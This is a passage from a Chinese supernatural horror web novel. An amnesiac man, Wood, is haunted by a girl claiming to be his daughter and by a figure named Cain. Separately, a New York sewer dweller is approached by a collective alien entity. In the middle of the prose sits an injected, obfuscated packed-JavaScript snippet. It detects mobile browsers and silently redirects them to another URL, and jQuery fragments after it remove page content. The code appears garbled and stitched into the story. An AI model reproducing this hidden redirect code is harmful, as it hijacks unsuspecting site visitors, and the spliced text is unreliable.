“你、你、你……”
“爸爸……我好想你……”
女孩用哀怨的语调不断地重复说道：“我一直都在找你，几百年、几千年……不停地找你……我需要你，我爱你，我不能没有你……”
（可是我连你是谁都不知道！好吧！考虑到耶梦加得认定我是祂的“父亲”，这个女孩有很大的可能是北欧神话里的死亡女神海拉。）
伍德战战兢兢地想着，低下头，小心掰开女孩缠抱自己的十指。
“很抱歉，我失去了过往的记忆，我不知道我曾经是谁，也不知道你是谁……在我恢复记忆以前，我无法以你所渴望的父亲身份对待你……”
“没关系，只要能待在爸爸身边，哪怕爸爸不记得我，我也已经很满足……我对爸爸的爱是不需要任何回报的无条件的纯粹的爱~”
“可是——”
女孩越是强调这份爱不求任何回报，伍德心头的寒冷就越强烈。
“——如果我不是你的父亲呢？”
“嗯？”
“我的意思是，如果你在对我做了很多女儿为父亲做的事情以后突然发现我不是你的父亲，你会因此愤怒甚至一怒之下将我虐杀吗？”
伍德努力压制声音的颤抖。
毕竟，这不是危言耸听！
此刻环抱他的神秘女孩——不论她的真实身份是否为北欧神话中的死亡女神海拉——她都拥有顷刻间让自己变成稀碎尸块的强大力量。
“——这种事情怎么可能发生？”
女孩轻笑着说道，声音温柔如婴儿摇篮边的哼唱：“我们是爸爸生下的孩子，我们绝不可能认错爸爸……而且我已经隔着衣服摸到了伤疤，爸爸生育我们时留下的那个可怕的伤疤~”
“……”
伍德感觉后背像被某种不可名状的东西紧紧贴附一般冰寒可怖。
“我、我……你在胡说什么？男人怎么可能生孩子——好吧，神话中确实偶尔会出现男性神祇亲自孕育子女的情况，但是、但是……”
“可爱的人儿，你从未真正失去记忆，你只是拒绝想起真相，拒绝回到那些痛苦不堪的过往——”
落地窗外，该隐怡然自得地说道，用戴着夸张的黑山羊头戒指的手解开日式礼盒的绳结，露出丝绸下的描金黑漆木盒。
“这个盒子里不仅有西阵织和服，也藏着真相——愿你早日鼓足勇气打开盒子直面真相。”
说完，该隐的身形随风而逝，环抱腰肢的诡异双手连同神秘女孩一起如烈日下的冰霜般融化，伍德回头，看到描金黑漆木盒平躺在沙发正中位置。
“……”
他求助地望向分列沙发两侧的耶梦加得猫和阿努比斯狗。
耶梦加得猫一声不吭。
阿努比斯狗犹豫片刻后，叹了口气。
[爸爸，我建议你不要打开盒子。]
“里面有很危险的东西？”
[那东西的危险程度和从石柜里逃出的东西不相上下。]
“……明白了。”
伍德闷闷地说道。
……
……
每隔三十秒一次的水滴声突然停止，并且等了很久都没有再度响起，隧道深处传来疑似巨型机器转动但又蕴含生物心跳节奏的奇怪声响，空气中弥漫着奇怪的甜香，像血又像铜锈。
渐渐意识到不对的雷克斯睁开眼睛。
（发生什么事！）
（难道是地上的那些人……）
（也可能是又出现了什么怪物吧……上面的那些人总是把不要的东西扔进下水道，有时是尸块，有时是反射性污染物，有时……嗯，总之，必须尽快确定新来的东西是什么……会不会危害我的生命……）
如此想着，雷克斯爬出“公寓”——虽然只是一段直径两米的干燥的混凝土管道加一些防水布，上面杂乱地堆放着从附近超市垃圾桶里捡来的废弃物，过期但没有严重变质的食物——在下水道世界，这是弥足珍贵的惬意住所。
……
作为生活在纽约下水道的“鼹鼠人”之一，雷克斯有自己的一套生存逻辑——他知道他随时可能因为贫穷、疾病或者暴力被社会优化清空，但他依然想活着，比地上世界的年轻人们更惧怕死亡，渴望活着。
沿着潮湿粘稠黑暗的下水道走了大约五百米，也可能是八百米，雷克斯注意到满是腐烂泥泞的地上有一滩发光的荧光蓝色液体，它很黏稠，会随着呼吸的节奏慢慢蠕动。
（这是什么东西……）
（不会就是这东西……）
（我……我……）
然后，祂出现了。
雷克斯无法完整描述祂的形态，因为祂出现的瞬间，他就失去了思考能力，只记得那是一团不断闪烁变幻的没有固定形体的蠕动物，时而像多个生命体纠缠在一起，时而又扩散如覆盖空间的薄雾，有时会在微光下投影出触须的影子，又有时变成环绕周身的不断睁开闭合的无数只眼睛……
那东西完全超越了他的理解范畴，也超出了他的视觉承受能力，他如石化般木然地站在怪物之前，不敢动，不敢想，不敢说话，甚至不敢呼吸。
怪物——姑且暂时这么称呼祂——显然也在观察着雷克斯。祂不断地变幻身形，以不同形态反复环绕雷克斯，伸出疑似触须的细长光影碰触雷克斯的身体，然后——
[你想改变命运吗？]
不是通过语言，而是直接投射在大脑思维中的想法。
雷克斯的身体剧烈震颤。
他不知道眼前的东西是什么，也不知道回应祂的代价是什么，但他知道他的人生已糟糕到极致，比当下更糟糕的只有死亡。
（死亡……）
[你害怕死亡吗？]
（你能读取我的思维？）
雷克斯呼吸急促。
[很久很久以前，地球上所有智慧生命虽各有各的躯体，精神却紧密相连……直到文明走到尽头，巨大的灾难将我们连同我们的文明一起杀死……少数幸存者们被迫放弃独立的躯体，融合成现在的集体状……]
（所以你建议的“改变”指的是吞噬我的身体、将我的精神体融入你们？）
[我们不要你的身体，我们想回到这个世界……我们需要你的帮助，你也厌倦了随时可能崩溃死亡的现状，不是吗？]
（……）
雷克斯无言以对。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014664|187449||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
[我们选中你，因为你和我们一样承受着巨大的绝望，却依然对生命保持着顽强的执念——不惜一切代价，沦为无可名状的怪物也要活下去！]
（我……）
[你想活下去吗？你想改变吗？]
（——是的，我想活下去，我想改变！）
……
……
“彼得逊的事情，我很抱歉，我……”
伍德的声音有些哽咽，甚至不敢抬头看彼得逊的恋人福克斯的眼睛。
“没关系……从很久以前我就知道他会有这样的结局……他……他主动踏上了远离常识和正常的道路，而我……我很高兴他能像他少年时崇拜的超级英雄们那样为信仰、为正义而死……虽然这个世界并不美好，这座城市的人也大多不知道他为他们献出了生命……”
说到句尾，声音已被啜泣声淹没。
“对不起……”
“没关系。”
福克斯掏出手帕擦干眼泪，强忍着悲痛说道：“他的公寓——”
“暂时不会回收，你有足够多的时间慢慢收拾他的遗物。”
“谢谢，其实我……我两个月前失去了工作，这个月如果还不能找到工作的话就会被房东赶出来……原本打算如果……冒险搬回他的公寓……别看我现在一身普通人打扮，其实我也有一定的灵媒天赋，所以才会和他相爱，同居一段时间后又因为害怕无止境的噩梦选择分居……只是偶尔……算了，一切都已经结束，我也该……谢谢你们的温柔和宽容……”
“他没有亲属，在殉职抚恤合同上签写了你的名字，所以——他的抚恤金会在扣除税款后打进你的卡里，好好活着吧！连他的份一起活着！”
杰森轻拍福克斯的肩膀：“我相信，临走的那一刻，他心中想的人是你。他是因为爱你才下定决心爱这个世界。”
“我相信……”
福克斯咬着嘴唇说道，眼泪已淹没视线。
……
送走福克斯后，伍德依然沉浸在悲伤中，站在街头无所适从。
这时，一个打扮成小丑的流浪艺术家凑到他面前。
“你好，能不能……”
“我身上没有太多——”
“没关系，没关系，我……”
带着五颜六色的卷曲假发的男人垂头丧气地说着，转身准备离开。
“等一下！”
伍德叫住男人，从钱包里掏出所有的零钱：“我现在只有这些，你全部拿去吧！”
“——为什么？！”
男人震撼地看着伍德。
“我也不知道为什么……可能是因为你、你瘦得随时可能倒下……死掉……我也曾险些落到你的境地……如果没有……总之，好好活着吧……”
“谢谢。”
男人的眼中充满泪水，干涸的嘴唇几番摩擦，最终吐出一句话：“愿上帝保佑你。”
（上帝吗？）
伍德暗暗叹了口气。
他从不认为他会得到上帝的庇佑，反倒是眼前的男人——
两天后——
“伍德先生，非常抱歉，我们在一具尸体上发现了你的指纹。”